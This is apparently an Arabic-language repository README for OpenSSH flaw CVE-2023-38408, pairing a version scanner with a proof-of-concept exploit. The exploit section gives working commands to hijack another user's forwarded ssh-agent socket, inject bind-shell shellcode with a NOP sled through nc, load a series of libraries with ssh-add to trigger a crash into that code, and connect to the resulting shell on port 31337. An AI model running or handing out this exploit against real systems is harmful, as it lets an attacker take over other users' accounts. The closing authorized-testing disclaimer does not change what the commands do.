
CVE-2023-38408 ماسح ثغرات SSH وPoC
تم العثور على ثغرة في OpenSSH (قبل الإصدار 9.3p2). تحتوي ميزة PKCS#11 في ssh-agent في OpenSSH على مسار بحث غير موثوق بما يكفي، مما يؤدي إلى تنفيذ تعليمات برمجية عن بُعد إذا تم توجيه الوكيل إلى نظام يتحكم فيه المهاجم (الكود في /usr/lib ليس بالضرورة آمنًا للتحميل في ssh-agent). يسمح هذا العيب للمهاجم الذي يتحكم في مأخذ الوكيل المُوجّه على الخادم ولديه القدرة على الكتابة على نظام ملفات المضيف العميل بتنفيذ تعليمات برمجية عشوائية بصلاحيات المستخدم الذي يقوم بتشغيل ssh-agent.
في المثال أدناه، يمكننا ملاحظة الخطوات بإيجاز من الاستكشاف إلى اختراق مستخدم alice.
كما ذكرنا سابقًا، في هذا POC سنستخدم مستخدمين متصلين بخادم عبر SSH. لاتباع الخطوات أدناه، نفترض أن كلا المستخدمين لديهما بالفعل وصول إلى الخادم (SSH).
echo /tmp/ssh-*/agent.*
export SSH_AUTH_SOCK=/tmp/ssh-NqLP6il36s/agent.3452
ssh-add -s /usr/lib/systemd/boot/efi/linuxx64.elf.stub
SHELLCODE=$'\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\x48\x89\xe6\x41\x50\x5f\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x41\x50\x5f\x6a\x01\x5e\x6a\x32\x58\x0f\x05\x48\x89\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\x41\x50\x5f\x6a\x2b\x58\x0f\x05\x59\x4d\x31\xc9\x49\x89\xc1\x4c\x89\xcf\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05'
(perl -e 'print "\0\0\x27\xbf\x14\0\0\0\x10/usr/lib/modules\0\0\x27\xa6" . "\x90" x 10000'; echo -n "$SHELLCODE") | nc -U "$SSH_AUTH_SOCK"
أخيرًا، اضغط على Ctrl-C لإيقاف نقل netcat بمجرد وضع الشيلكود بنجاح في ذاكرة الوكيل.
[!NOTE] تحفيز SIGSEGV 💬
SIGSEGV هي إشارة معروفة لعملية الكمبيوتر تنبعث عندما يحدث وصول غير صحيح للذاكرة (خطأ تجزئة). عند استلام إشارة SIGSEGV، يتعرف النواة على حدوث وصول غير صحيح للذاكرة ويشرع في استدعاء معالج الإشارة المخصص بدلاً من إنهاء البرنامج فجأة. من خلال القيام بذلك، يغتنم المهاجم الفرصة للتلاعب بتنفيذ البرنامج وتوجيهه نحو الكود الضار المحقون الموجود داخل زلاجة NOP.
ssh-add -s /usr/lib/titan/libttcn3-rt2-dynamic.so
[Enter for passphrase]
ssh-add -s /usr/lib/x86_64-linux-gnu/libKF5SonnetUi.so.5.92.0
[Enter for passphrase]
ssh-add -s /usr/lib/x86_64-linux-gnu/libns3.35-wave.so.0.0.0
[Enter for passphrase]
nc localhost 31337
تؤثر الثغرة بشكل أساسي على الأنظمة التي يستخدم فيها SSH-agent من OpenSSH ويتم تمكين ميزة توجيه الوكيل. يجب على المؤسسات والأفراد الذين يعتمدون على OpenSSH تقييم تكويناتهم بسرعة لتحديد التعرض المحتمل. إذا كان نظامك يستوفي الشروط المذكورة، فمن الضروري اتخاذ إجراء فوري لتخفيف المخاطر المرتبطة بـ CVE-2023-38408.
git clone https://github.com/TX-One/CVE-2023-38408.git
cd CVE-2023-38408
python CVE-2023-38408_scanner.py -t <target> -p <port>
Client Server
| --- SSH-2.0-Client_Test ----> |
| <---- SSH Server Banner ----- |
TXOne SSH Vulnerability Scanner : CVE-2023-38408
Developed by TXOne
[+] Connecting to 192.168.1.100:22...
[+] Received banner: SSH-2.0-OpenSSH_9.2
[+] OpenSSH Version Detected: 9.2
[!] Vulnerable OpenSSH version detected: 9.2
هذه الأداة مخصصة لـ اختبار الأمان المصرح به و الأغراض التعليمية فقط. احصل دائمًا على التصريح المناسب قبل فحص أي موارد شبكة.